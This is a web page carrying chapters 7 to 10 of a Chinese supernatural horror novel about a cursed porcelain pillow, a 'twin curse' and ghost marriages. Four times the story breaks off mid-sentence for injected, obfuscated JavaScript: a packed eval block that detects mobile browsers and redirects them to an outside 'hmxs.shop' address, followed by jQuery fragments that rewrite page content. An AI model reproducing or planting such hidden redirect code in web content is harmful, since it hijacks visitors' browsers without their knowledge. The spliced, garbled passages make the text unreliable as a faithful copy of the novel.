裴子晏舀了一大勺拌饭,吃得津津有味。檀九重却敏锐地发现,龙三娘自己一口都没碰那辣酱,而且每次裴子晏咳嗽,她的眼神就会变得异常专注。 回到房间后,裴子晏突然说要去镇上买药。檀九重假装休息,等他离开后立刻开始搜查客栈。大堂柜台的抽屉里有一本账簿,记录着各种草药的采购清单。其中一页被撕去了一半,残留部分写着‘檀先生送来的‘回阳散’’。 “回阳散...”檀九重头皮发麻。这是父亲笔记中提到过的禁药,据说能暂时让尸体恢复行动能力,但需要活人精血作为药引。 她正想拍下这页,后院突然传来轻微的响动。透过窗户,她看到裴子晏鬼鬼祟祟地溜进后院——他不是说去买药吗? 檀九重悄悄跟上去。后院比想象中大,角落里堆满了各式棺材,有些看起来已经存放多年。裴子晏轻车熟路地穿过棺材阵,来到一口水井前。令她毛骨悚然的是,龙三娘的女儿正坐在井沿上,赤脚晃荡着,见到裴子晏就伸出苍白的手臂。 “今天只能这么多。”裴子晏的声音异常温柔,“我身体不太好了。” 他挽起袖子,用随身小刀在手腕上划了一道。女孩立刻扑上来,像小兽般吮吸他的伤口。更诡异的是,随着血液的流失,裴子晏脖颈上的锁魂钱反而变得更亮了,而女孩的皮肤渐渐有了血色。 檀九重捂住嘴才没叫出声。她终于明白为什么裴子晏的伤口从不流血——他的血根本就不是给活人用的! 突然,一只手搭上她的肩膀。龙三娘不知何时出现在身后,腐臭的呼吸喷在她耳畔:“学者同志,偷看可不好...” 檀九重反应极快,一个肘击向后,同时转身掏出桃木钉。龙三娘却灵活地退后几步,脸上的胭脂在月光下显得格外瘆人:“别紧张,我知道你们为什么来。”她指向裴子晏,“那孩子每隔几年就会来一次,给我家丫头送‘药’。” “什么意思?”檀九重警惕地问。 龙三娘露出一个诡异的微笑:“你父亲没告诉你吗?‘双子咒’的祭品之一,血能续命...”她突然压低声音,“尤其是已经死过一次的人。” 檀九重如遭雷击。没等她追问,后院突然传来裴子晏的厉喝:“滚出来!” 她和龙三娘同时转头,只见裴子晏将女孩护在身后,面前站着三个穿黑袍的人——正是那晚在老戏台废墟袭击他们的那群!为首的黑袍人手里拿着一个瓷瓶,正是瓷枕上婴戏纹的缩小版。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16449288|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “童子骨该归位了。”黑袍人的声音像是砂纸摩擦,“七日之期已到。” 裴子晏冷笑一声,锁魂钱突然迸发出刺目的红光:“你们也配碰她?” 黑袍人同时出手,三道黑气如毒蛇般袭向裴子晏。檀九重不假思索地冲出去,手中桃木钉划破雨幕,精准地刺入一道黑气。黑气发出尖啸,散而复聚,却暂时被阻了一阻。 “学姐退后!”裴子晏大喊,同时从口袋里掏出七枚铜钱抛向空中。铜钱排成北斗七星状,将三名黑袍人暂时困住。 龙三娘却趁乱抱起女儿就跑。檀九重想去追,却被裴子晏拉住:“别管她们,先解决这三个!” 黑袍人已经突破铜钱阵,为首者一把扯下兜帽,露出张布满缝合线的脸——正是慈安院的林院长!老人缺指的左手捏着个诡异的手印,口中念念有词。 “林伯?”檀九重震惊不已,“你不是已经...” “死了?”老人狞笑,“多亏你父亲的好药,让我能‘活’到完成仪式!” 裴子晏突然剧烈咳嗽起来,一口黑血喷在地上。锁魂钱的红光开始不稳定,他的脸色以肉眼可见的速度灰败下去。林院长见状大笑:“时辰到了!童子骨撑不住了!” 檀九重扶住摇摇欲坠的裴子晏,突然摸到他后腰别着的东西——是那盘从慈安院带出的磁带!她福至心灵,掏出磁带扔向林院长:“你要的是这个吧?” 老人果然慌乱地去接,檀九重趁机咬破手指,在裴子晏眉心画了道血符:“以血为引,以咒为缚,破!” 血符亮起的瞬间,磁带在林院长手中爆炸,无数细小的骨片四散飞溅。老人发出不似人类的嚎叫,身体像漏气的气球般迅速干瘪。另外两名黑袍人见状,竟转身就逃,转眼消失在雨夜中。 裴子晏虚弱地跪倒在地,锁魂钱上的裂纹已经蔓延到整个表面。檀九重扶他回到房间,发现他手腕上的伤口竟然没有愈合,而是不断渗出黑色液体。 “这是什么?”她颤声问。 裴子晏勉强笑了笑:“尸毒...我本来就是靠这个活着的...”他突然抓住她的手,“学姐,去挖...井边第三块石板下...” 檀九重冒雨返回后院。井边果然有块松动的石板,挖开后是个生锈的铁盒,里面放着一双小小的虎头鞋——正是婴儿穿的那种。鞋底夹层里有张字条,父亲熟悉的笔迹写着:“七日还魂,需以双子血为引。九重,记住你答应过的事。” 她完全不明白这是什么意思,但当她翻过字条,背面还有一行小字:“子晏若醒,带他去老地方。钥匙在瓷枕里。” 雨越下越大。檀九重回到房间时,裴子晏已经陷入昏迷,呼吸微弱得几乎察觉不到。她掀开他的衣领,发现脖颈上的缝合线正在慢慢裂开,露出下面青灰色的皮肤——那是死人才有的颜色。 窗外,七只乌鸦不知何时停在窗棂上,血红的眼睛直勾勾地盯着室内。檀九重突然想起什么,急忙翻出父亲的照片仔细查看——那个包袱露出一角,正是虎头鞋的图案! 而更令她毛骨悚然的是,照片背景的客栈大门上,隐约可见一个穿红肚兜的无面孩童,正从门缝中窥视... 8. 罗盘诡 黎明前的归乡客栈静得可怕。檀九重将裴子晏安顿在床上,他脖颈上的缝合线已经裂开到足以插入一张纸片的程度,却没有流血,只有黑色的粘稠液体缓慢渗出,散发着与瓷枕相同的腐香。 “学姐...”裴子晏在昏迷中呢喃,手指无意识地抓着床单,“别下去...井里...” 檀九重抿紧嘴唇。父亲字条上说的‘钥匙在瓷枕里’,而瓷枕留在栖梧阁,现在回去取已经来不及了。但井下还有什么?那个铁盒已经挖出来了... 她看了眼窗外渐亮的天色,做了决定。从包里取出最后一张镇魂符贴在裴子晏胸口,又用朱砂在房门上画了道禁制,这才拿起手电筒悄悄走向后院。 雨后的院子弥漫着土腥味,混着棺材木头散发出的陈旧霉味。那口古井黑黝黝的井口像一只睁大的眼睛,无声地注视着她的靠近。檀九重将手电筒咬在嘴里,顺着湿滑的井壁爬下去。 井壁长满青苔,冰凉刺骨。下到约三米处,她发现一块松动的砖石,撬开后露出个暗格。里面是个防水油布包,裹着个圆形物体——父亲从不离身的青铜罗盘! 檀九重心脏狂跳。这罗盘是檀家祖传之物,父亲失踪时理应带在身上。她颤抖着打开油布,罗盘保存完好,只是指针... 指针不是常见的磁铁,而是某种乳白色材质,在光照下微微透明。当她转动罗盘时,指针竟自动指向客栈方向——确切地说,是指向裴子晏所在的房间! 一股寒意顺着脊背窜上来。檀九重将罗盘凑近眼前细看,指针根部刻着两个极小极小的字:“子晏”。 “这是...乳牙?”她头皮发麻。父亲曾说过,至亲之人的乳牙是最灵验的指向物,能穿越阴阳找到对方。但这枚乳牙如果是裴子晏的,父亲怎会... 井口突然传来脚步声。檀九重迅速将罗盘藏好,刚爬出井口就撞上龙三娘阴鸷的目光。 “学者同志,”女人咧嘴一笑,露出参差不齐的黄牙,“井下好玩吗?” 檀九重不动声色地后退半步,手摸向腰后的桃木钉:“龙老板起得真早。” “丫头饿了,我来打水。”龙三娘晃了晃水桶,眼神却一直盯着檀九重的衣袋——罗盘的形状隐约可见,“找到想要的东西了?” 檀九重不答反问:“你认识檀明远?” 龙三娘的表情瞬间变得复杂:“檀教授啊...好人。”她突然压低声音,“他给的药,让我丫头多活了十年。”蜡黄的脸上浮现出一丝诡异的柔情,“虽然不算真的活着...” “那个男孩呢?”檀九重紧盯着她的眼睛,“裴子晏。你说他每隔几年就会来一次?” 龙三娘的眼珠转了转:“第一次来是七年前,和你父亲一起。”她凑近一步,腐臭的呼吸喷在檀九重脸上,“但那孩子不对劲...他没有影子。” 檀九重如遭雷击。裴子晏没有影子?她竟然从未注意过这点! “第二次是五年前,就是你父亲失踪那年。”龙三娘继续道,缺指甲的手指摩挲着水桶边缘,“那晚他浑身是血,脖颈几乎断了,是你父亲用红绳给他缝起来的...”她突然抓住檀九重的手腕,“可那孩子明明十年前就死在慈安院火灾里了!我亲眼看见他的小棺材!” 檀九重猛地抽回手:“胡说!他现在就躺在我的房间里!” 龙三娘露出怜悯的表情:“你去看看他的行李箱底层...有惊喜。” 回到房间时,裴子晏还在昏睡,但胸口的镇魂符已经变成了黑色。檀九重犹豫片刻,还是翻开了他放在角落的行李箱——底层确实有个暗袋,里面是张泛黄的死亡证明: “裴子晏,男,10岁,死于1998年9月12日慈安院火灾...特征:右脚踝月牙形胎记...” 檀九重双手发抖。死亡证明上的胎记位置与她在孤儿院照片上看到的一模一样,但与她手腕上的胎记是镜像对称的。而更可怕的是,当她掀开裴子晏的右脚袜筒时,那里光滑如常,什么都没有。 “学姐...” 虚弱的声音从身后传来。裴子晏不知何时醒了,正倚在床头看她,眼神清明得不像重伤之人。他脖颈上的锁魂钱完全裂开,露出里面一小截指骨——现在檀九重知道那是谁的了。 “解释。”她举起死亡证明,声音冷得像冰。 裴子晏苦笑:“学姐不是已经猜到了吗?”他慢慢解开衣领,露出脖颈上狰狞的缝合线,“我确实死在慈安院火灾里...但你父亲用‘双子咒’和‘七日还魂’把我带回来了。” “为什么?” “因为...”裴子晏突然剧烈咳嗽起来,一团黑气从口中溢出,“我们需要彼此才能活下去。” 檀九重想起铁盒里“七日还魂,需以双子血为引”的字条,突然明白了什么:“我的病...十八岁那场高烧...” 裴子晏点头:“那是你的死劫。我用童子骨替你挡了,但自己也差点魂飞魄散。”他指了指锁魂钱里的指骨,“你父亲取了我的指骨和乳牙做成法器,让我能暂时留在阳间...直到找到彻底解决的办法。” “所以瓷枕、阴婚、玉成班...” “都是同一个局。”裴子晏艰难地坐起身,“有人想用阴婚索命的法子,强行续自己的命。你父亲在查这个,所以被...” 话未说完,房门突然被敲响。龙三娘端着餐盘站在门外:“两位吃点东西吧,特意加了‘回阳散’。”她意有所指地看了眼裴子晏,“对伤势有好处。” 餐盘上是两碗粥和几个小菜。檀九重敏锐地注意到,其中一碗粥的颜色略深,散发着淡淡的药香。龙三娘将深色粥放在裴子晏面前,退出去时还贴心地带上了门。 “学姐先吃。”裴子晏笑得人畜无害,却把自己的粥推给她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16449289|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 檀九重心中一动。她假装搅拌粥碗,实则飞快地调换了两人的位置。裴子晏似乎没注意到这个小动作,接过粥碗就大口吃起来——但檀九重清楚地看到,他每次舀粥都巧妙地避开了所有固体食材,只喝汤水。 活人不需要进食...这个念头让她毛骨悚然。 “学姐怎么不吃?”裴子晏抬头,嘴角沾着一点粥渍,却诡异地没有吞咽动作,仿佛食物直接消失了。 檀九重放下碗:“你脚踝上的胎记呢?” 裴子晏的动作顿了一秒:“什么胎记?” “死亡证明上写着,裴子晏右脚踝有月牙形胎记。”檀九重逼近一步,“但你脚上什么都没有。” 裴子晏突然笑了:“学姐看错了。”他卷起右裤脚,脚踝处赫然是一个淡得几乎看不清的月牙印记——与她左手腕的一模一样,只是方向相反。 檀九重倒吸一口冷气。刚才明明没有的! “双子咒的标记会互相感应。”裴子晏轻声解释,“学姐靠近我时,它就会显现。”他忽然抓住她的手腕,拇指按在那个胎记上,“而且今晚月圆,它会变得更明显...” 确实,胎记在他触碰下开始发烫,隐约浮现出细小的符文。檀九重想抽回手,却发现裴子晏的力气大得惊人。 “学姐,”他的声音突然变得异常温柔,“你还记得我们第一次见面吗?不是在栖梧阁,而是在...” “够了!”檀九重猛地挣脱,掏出井下找到的罗盘,“解释下这个!为什么我父亲的罗盘指针是你的乳牙?” 裴子晏的表情瞬间凝固。他盯着罗盘,嘴唇颤抖着,却说不出一个字。 窗外突然传来乌鸦的叫声。七只黑鸟齐刷刷落在窗台上,血红的眼睛盯着室内。檀九重突然感到一阵眩晕,胎记处的灼热感蔓延到全身。恍惚中,她看到裴子晏扑过来想扶她,却被一道无形的力量弹开。 “学姐!别看罗盘背面!”他大喊,但已经晚了。 檀九重本能地翻过罗盘,背面刻着一行小字:“以子之牙,寻子之魂。七日为限,魂兮归来。”而更可怕的是,这些字迹...分明是她自己的笔迹! 记忆碎片如潮水般涌来。慈安院的火场、父亲抱着浑身是血的男孩、她自己咬破手指在罗盘上刻字...但这些画面又迅速模糊,如同被某种力量强行抹去。 “你给我下了忘忧咒?”她厉声质问裴子晏。 裴子晏却看向窗外,脸色剧变:“来不及了...学姐,月圆了。” 檀九重顺着他的目光望去,只见一轮血月正从山后升起,月光透过窗棂,在地上投下诡异的光斑。她惊恐地发现,自己站在月光下...却没有影子! 而更令她毛骨悚然的是,裴子晏的脚下,两道影子正缓缓分离——一道是他的,另一道则是个穿红肚兜的无面孩童,正咧嘴对她笑着... 9. 骨瓷咒 血月当空,檀九重盯着自己脚下缺失的影子,耳边嗡嗡作响。裴子晏的两道影子在月光下诡异地扭动着,一道是他的,另一道是那个穿红肚兜的无面孩童。 “学姐,别看!”裴子晏扑过来想遮住她的眼睛,却被无形的力量弹开。 檀九重踉跄后退,手中的罗盘‘当啷’掉在地上。指针——那枚裴子晏的乳牙——疯狂旋转起来,最终指向了她的胸口。 “这是什么意思?”她声音嘶哑,胎记处传来的灼热感已经蔓延到全身,“为什么我没有影子?为什么罗盘指向我?” 裴子晏的嘴唇颤抖着,脖颈上的缝合线开始渗出黑色液体。他弯腰捡起罗盘,手指在背面的刻字上摩挲:“学姐自己写的都不记得了吗...‘以子之牙,寻子之魂’...” 窗外突然电闪雷鸣,豆大的雨点砸在窗棂上。七只乌鸦在暴雨中发出凄厉的鸣叫,翅膀拍打声如同无数人在鼓掌。檀九重头痛欲裂,破碎的记忆不断闪现:火光冲天的孤儿院、父亲抱着浑身是血的男孩、她自己咬破手指在某个法器上写字... “骨瓷咒。”裴子晏突然说道,声音变得异常平静,“唐代安乐公主发明的冥婚术。用夭折孩童的骨灰烧制瓷枕,困住其魂魄,再找个活人替死完成阴婚...”他抬起眼,黑色的瞳孔中映出檀九重苍白的脸,“学姐的父亲一直在研究这个。” 檀九重摇头:“不可能!父亲研究的是如何破解邪术...” “一开始是。”裴子晏苦笑,“直到他发现你命中有死劫...” 一道闪电划过,照亮了他手中的物件——不知何时,他取出了锁魂钱里的那截指骨。骨头上密密麻麻刻满了符文,在电光中泛着血色的光泽。 “这是我的指骨,也是钥匙。”裴子晏轻声道,“能打开瓷枕最里层的暗格。” 檀九重突然明白了什么:“瓷枕里不只有一个人骨...” “九个。”裴子晏点头,“九个夭折的孩童,分别对应九种死法。最后需要一个活人作为‘新娘’,完成仪式。”他忽然剧烈咳嗽起来,一团黑气从口中溢出,“你父亲...用‘双子咒’让我们共用一条命,拖延时间寻找破解之法...” 又是一道闪电,这次直接劈在院中的古井上。井口冒出缕缕黑烟,隐约传来孩童的笑声。檀九重本能地后退,却撞上了什么冰凉的东西——是龙三娘的女儿!女孩不知何时站在了她身后,苍白的小手正拽着她的衣角。 “姐姐,”女孩咧嘴一笑,露出满口细密的尖牙,“你的嫁衣准备好了...” 檀九重一把推开女孩,冲向房门。走廊漆黑一片,只有尽头处亮着微弱的灯光。她跌跌撞撞地跑过去,却发现那不是电灯,而是一盏老式油灯,放在一口小棺材上——棺材里整整齐齐地摆着七套小小的衣服,最上面那套正是周小荷的病号服! “七日还魂...”檀九重浑身发冷。父亲字条上的‘七日还魂’不是救人的方法,而是仪式的步骤! 身后传来脚步声。裴子晏站在走廊另一端,浑身湿透,锁魂钱的红线已经变成了黑色:“学姐,没时间了。第七日太阳升起前,必须...” 一声巨响打断了他的话。客栈大门被撞开,老周带着三个壮汉冲了进来,缺指的左手握着一把砍刀,眼睛血红:“檀小姐,对不住了!我丫头快不行了...那戏服女人说只要把你带回去...” 檀九重还没反应过来,裴子晏已经闪到她身前。他的动作快得不似人类,三两下就放倒了两个壮汉,第三个被他直接拧断了胳膊。老周举刀砍来,裴子晏不躲不闪,任由刀刃砍进自己肩膀——依然没有流血,只有黑气涌出——同时一把扣住老周的手腕,干脆利落地折断。 “啊!”老周惨叫倒地,却从怀里掉出个东西——一张泛黄的纸条,上面画着奇怪的符咒。 檀九重捡起纸条,瞬间认出了父亲的笔迹:“替死术破解之法:以童子骨为引,双子血为媒,月圆之夜...” 裴子晏一把抢过纸条吞了下去,速度快得檀九重都没看清他的动作。老周趁机爬向门口,却被他踩住后背:“谁告诉你来这里找人的?” “医、医院的戏服女人...”老周疼得直冒冷汗,“她说我丫头是第七个祭品,要想救人,就得把檀小姐带到慈安院废墟...” 裴子晏脸色大变,一把拉起檀九重:“走!现在就去栖梧阁!” 暴雨如注。裴子晏不知从哪弄来辆摩托车,载着檀九重在崎岖的山路上飞驰。他的身体冰凉,却将唯一的雨衣给了檀九重,自己浑身湿透。檀九重贴在他后背,惊骇地发现——整整半小时的车程,她没感受到一次心跳! “裴子晏...”她在轰鸣的引擎声中喊道,“你到底死了多久了?” 裴子晏没有回答,只是加大了油门。 山路突然塌方,摩托车失控撞向路边。千钧一发之际,裴子晏抱住檀九重跳车,自己却重重撞在树上。粗壮的树枝直接刺穿了他的腹部,依然没有血,只有黑气不断溢出。 “学姐...先走...”他试图拔出树枝,却动弹不得,“去栖梧阁...瓷枕...” 檀九重咬牙背起他。裴子晏轻得不可思议,仿佛只有一副空壳的重量。暴雨中的山路泥泞不堪,她几次滑倒,膝盖磕得鲜血淋漓,却始终没松开手。 “为什么...”裴子晏在她耳边虚弱地问,“为什么不丢下我...” 檀九重没有回答。她自己也说不清为什么非要救这个可能早已不是活人的‘学弟’。是因为他三番五次救自己?还是因为那些零碎的记忆碎片中,总有他的身影? 天亮前,他们终于跌跌撞撞地回到了栖梧阁。大门敞开,仿佛在等待他们的归来。更诡异的是,院中摆着一张古色古香的婚床,上面整齐地放着两套衣服——一套是凤冠霞帔,另一套是民国时期的新郎装。 瓷枕就放在婚床正中央,已经完全裂开,露出里面缠绕着黑发的九块人骨。每块骨头上都刻着字,拼起来是一首诡异的童谣: “月儿弯弯照九州,有人欢喜有人愁。童子骨,新娘泪,阴婚成时阳世休...” 檀九重颤抖着取出父亲笔记中被撕去的那页残片,拼在童谣旁边——正好补齐了最后一句:“...檀郎妙计安天下,借命三十年再续。” “借命...”她如遭雷击,突然明白了一切,“父亲用阴婚术...借了别人的命...” 裴子晏艰难地挪到瓷枕前,取出那截指骨插入中心骨块的凹槽。咔哒一声,瓷枕底部弹出一个暗格,里面是张发黄的照片:年轻的檀教授站在慈安院门口,怀里抱着两个婴儿——一个手腕有胎记,一个脚踝有胎记。照片背面写着:“双子咒成,九重有救。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16449290|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子晏,对不起。” “学姐终于想起来了...”裴子晏的声音突然变得异常苍老,完全不像二十出头的年轻人,“三十年前,你父亲用‘双子咒’将我们绑定...用我的命,续你的命...” 檀九重跌坐在地,记忆的闸门轰然打开。她全都想起来了——慈安院不是1998年烧毁的,而是1988年!那年她七岁,突发怪病濒死,父亲用古籍记载的秘术找来了命格相合的裴子晏... “你...你不是大学生...”她声音发抖,“你今年应该...” “三十七岁。”裴子晏苦笑,“死后时间就停止了。”他指了指脖颈上的缝合线,“慈安院火灾那晚,我本可以逃出来...但回去救你时,被掉落的房梁...” 檀九重胃部一阵绞痛。她想起来了,那晚裴子晏把她推出火场,自己却被困在里面。父亲后来做了什么?为什么她的记忆被篡改?为什么裴子晏又以‘大学生’的身份出现在她面前? “骨瓷咒需要活人替死。”裴子晏轻声道,“你父亲不忍心用你,就找到了另一种方法——用已经死过一次的‘双子’作为媒介,拖延三十年...”他指了指瓷枕,“这些孩童的骨头,是用来困住我的魂魄的...” 门外突然传来脚步声。老周不知怎么跟了过来,缺指的手握着那张被裴子晏吞下的纸条的复印件:“檀小姐...我女儿不行了...那戏服女人说只有你能救她...” 檀九重正要拒绝,却见裴子晏突然笑了:“老周,你女儿不是第七个祭品。”他指向婚床上的新娘嫁衣,“她才是。” 顺着他的手指,檀九重惊恐地看到,那套嫁衣不知何时已经立了起来,仿佛有个透明人正穿着它。袖口缓缓抬起,掀开了盖头——里面没有脸,只有一张用血画着五官的瓷面,与瓷枕上的婴戏纹一模一样! “沈胭脂...”裴子晏艰难地站起身,“玉成班最后的杜丽娘...也是第一个被骨瓷咒害死的新娘...” 嫁衣无风自动,向他们飘来。老周吓得瘫软在地,而檀九重发现自己动弹不得,只能眼睁睁看着那血红的衣袖拂向自己的脸... 就在这千钧一发之际,栖梧阁的大门再次被撞开。一个意想不到的身影出现在门口——是龙三娘,怀里抱着个骨灰坛! “沈姑娘!”她高喊道,“你要的童子骨在这里!” 嫁衣猛地转向龙三娘。趁这空隙,裴子晏一把拉起檀九重:“学姐,现在只有你能结束这一切...用我的指骨刺穿瓷枕,念《往生咒》!” 檀九重接过指骨,却犹豫了:“那你呢?” 裴子晏笑了,酒窝在苍白的脸上显得格外清晰:“三十年前就该走了...能再见学姐一面,已经很幸运了...” 嫁衣已经扑向龙三娘,老周趁机爬向檀九重:“檀小姐,救我女儿...” 檀九重看着手中的指骨,又看看裴子晏。忽然,她注意到婚床上的新郎装口袋里露出纸张一角——是父亲的字迹!她一把抓出来,上面只有寥寥数语: “九重,若你读到这个,说明仪式已成。原谅父亲的自私,但我不能失去你。子晏是个好孩子,他自愿的...” 自愿?檀九重看向裴子晏,后者正用口型对她说:“快动手!” 她举起指骨,对准瓷枕中心狠狠刺下... 10. 反噬劫 檀九重的指骨距离瓷枕只有一寸时,整个栖梧阁突然剧烈震动。婚床上的嫁衣爆发出刺耳的尖啸,瓷枕中九块人骨同时浮空,排列成一个诡异的圆圈。 “现在!”裴子晏抓住她的手腕,将指骨狠狠刺入瓷枕中央。 指骨接触瓷面的瞬间,一道黑光炸开。檀九重只觉得天旋地转,无数记忆碎片如潮水般涌来——七岁那年慈安院的火光、裴子晏将她推出火场时烧伤的侧脸、父亲跪在两人之间念念有词的场景...最清晰的是父亲用红绳绑住她和裴子晏的手腕,取走他们各自一滴血的画面。 “双子咒...”她喃喃自语,终于明白了这三个字的真正含义。 瓷枕彻底碎裂,九块人骨在空中疯狂旋转。嫁衣像泄了气的皮球般瘫软在地,龙三娘怀中的骨灰坛"砰"地炸裂,灰白色的粉末在空中组成一张模糊的女人脸,发出不甘的嘶吼后消散无踪。 老周爬过来抓住檀九重的脚踝:“檀小姐...我女儿...” 裴子晏咳出一口黑血,虚弱地指向门外:“去医院...她应该醒了...” 老周将信将疑地掏出手机,几秒钟后,他瞪大眼睛:“真、真的醒了!”连滚带爬地冲出门去。 龙三娘默默收拾好骨灰坛碎片,对裴子晏点点头:“沈姑娘安息了,我丫头也该走了。”她看了眼檀九重,欲言又止,最终只是叹了口气离开。 转眼间,喧嚣的栖梧阁只剩下檀九重和裴子晏两人,还有满地狼藉。檀九重跪坐在地,手中还握着那枚指骨,此刻它已经变成了灰白色,表面布满裂纹。 “结束了吗?”她轻声问。 裴子晏摇头,锁魂钱的红线突然断裂,铜钱“当啷”掉在地上:“才刚开始...学姐,反噬要来了。” 仿佛印证他的话,窗外骤然乌云密布,七只乌鸦齐齐撞向玻璃,鲜血在窗上画出诡异的符文。檀九重手腕上的胎记突然火烧般疼痛,她撸起袖子,只见原本月牙形的胎记正在变形,延伸出细小的纹路,像某种古老的文字。 “阴婚契...”裴子晏盯着她的手腕,“果然还在。” 檀九重一把抓住他的衣领:“裴子晏,今天你必须把话说清楚!到底什么是双子咒?为什么我的记忆被篡改?你和我父亲到底有什么约定?” 裴子晏没有挣扎,只是疲惫地闭上眼睛:“学姐先松手...我衣服要破了...” 这一扯,他的衣领确实撕裂了些,露出里面一张发黄的纸片。檀九重抽出来一看,是张湘西‘归乡客栈’的预定单,日期赫然是二十年前!而客户签名处,是父亲工整的字迹:‘檀明远及子’。 “这不可能...”她声音发抖,“二十年前你才...” “十七岁。”裴子晏苦笑,“至少身体是。” 他慢慢解开衬衫纽扣,转过身去。檀九重倒吸一口冷气——裴子晏的后背布满狰狞的疤痕,而在这些伤疤之间,隐约可见一个巨大的符咒,正与她手腕上浮现的纹路互相呼应! “双子咒的标记。”裴子晏解释道,“你手腕上是阴契,我背上的是阳契。当年你父亲用这个咒术将我们绑定,用我的命替你挡灾...”他顿了顿,“但代价是,我的魂魄会永远困在死亡那天的年纪。” 檀九重脑中轰然作响。所以裴子晏时而像个轻浮的大学生,时而流露出不符年龄的沧桑;所以他熟知那些早已失传的民俗秘术;所以他的身体既不像活人也不像死人... “为什么要同意?”她声音发抖,“为什么要为我...” 裴子晏突然笑了,酒窝在苍白的脸上格外明显:“学姐终于问到这个了。”他指了指地上的父亲笔记,“因为檀教授答应我,三十年后给你选择的机会...是彻底解除咒术让我安息,还是...” 话未说完,他突然剧烈咳嗽起来,一大口鲜血喷在檀九重前襟。血滴触及她手腕胎记的瞬间,两人身上的符咒同时亮起刺目的红光。 “反噬开始了...”裴子晏艰难地说,“学姐,按你父亲笔记上的方法布阵...快!” 檀九重手忙脚乱地翻开笔记最后几页,果然找到"反噬劫"的破解之法——需要在八卦方位布置特定的符咒,以施术者精血为引。她迅速准备起来:朱砂画阵,铜钱定方位,桃木钉镇煞... 就在她即将完成最后一处符咒时,裴子晏突然爬过来,看似不经意地碰倒了两盏油灯。 “你干什么?”檀九重厉声喝道。 裴子晏不答,只是用沾血的手指迅速在地上画了几道,篡改了原本的符咒走向。檀九重想去阻止,却被一股无形的力量弹开。 “裴子晏!”她又惊又怒,“你一直在骗我?” 裴子晏抬起头,黑色的瞳孔中映出她愤怒的脸:“学姐...最后一次了...” 他咬破舌尖,一口血雾喷在篡改过的符咒上。整个阵法顿时亮起血光,所有力量突然转向,全部轰向裴子晏自己!他整个人被冲击波掀飞,重重撞在墙上,后背的符咒完全浮现出来,与檀九重手腕上的纹路严丝合缝地拼合成一个完整的阴婚契。 “不!”檀九重冲过去抱住他,却感到怀中躯体正在迅速变冷。 裴子晏艰难地抬手,擦去她脸上的血迹——不知何时她也吐血了:“反噬本该由‘双子’共同承担...但我改了阵法...”他声音越来越弱,“学姐自由了...” “谁要这种自由!”檀九重怒吼,眼泪砸在他脸上,“你凭什么替我做决定!” 裴子晏笑了,酒窝里盛着血:“凭...我是学长啊...”他的手缓缓垂下,“其实我比你大十岁...” 栖梧阁突然安静下来。七只乌鸦的残骸消失了,窗上的血符也渐渐褪色。檀九重抱着裴子晏逐渐冰冷的身体,发现他后背的符咒正在慢慢消失,而她手腕上的胎记也恢复了原本的月牙形。 “裴子晏?”她轻轻拍他的脸,“别装死...” 没有回应。 她颤抖着去探他的颈动脉——没有跳动。但转念一想,裴子晏本来就没有正常人的脉搏。她又去听他的胸口,依然一片寂静。 “你骗我的对不对?”她揪住他的衣领,“你肯定还有后手...你这种祸害怎么可能...” 衣领口袋里掉出个小本子。檀九重翻开一看,是裴子晏的日记,最新一页写着: “如果学姐读到这个,说明我赌输了。别难过,这是我自己的选择。瓷枕最下层有你要的答案。PS:记得喂乌鸦,它们其实挺可爱的。” 檀九重跌跌撞撞地爬到瓷枕残骸前,果然在最底层发现了一个暗格。里面是封父亲写给她的信,还有一张老照片。照片上是年轻的父亲抱着两个婴儿站在慈安院门口,背面写着:“双子咒非我所创,而是祖上所传。九重,你与子晏本就是命定的一对,只是时机未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16449291|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到...” 信很长,字迹潦草,像是匆忙写就。父亲解释了所有来龙去脉:裴子晏是檀家世代守护的‘守墓人’血脉,专门为檀家‘镇命’而生。三十年前她命中有大劫,父亲不得不提前唤醒沉睡中的裴子晏,用双子咒将两人绑定... “但他比我想象的更有主见。”父亲在信中写道,“子晏坚持要给你选择的机会,即使代价是魂飞魄散...” 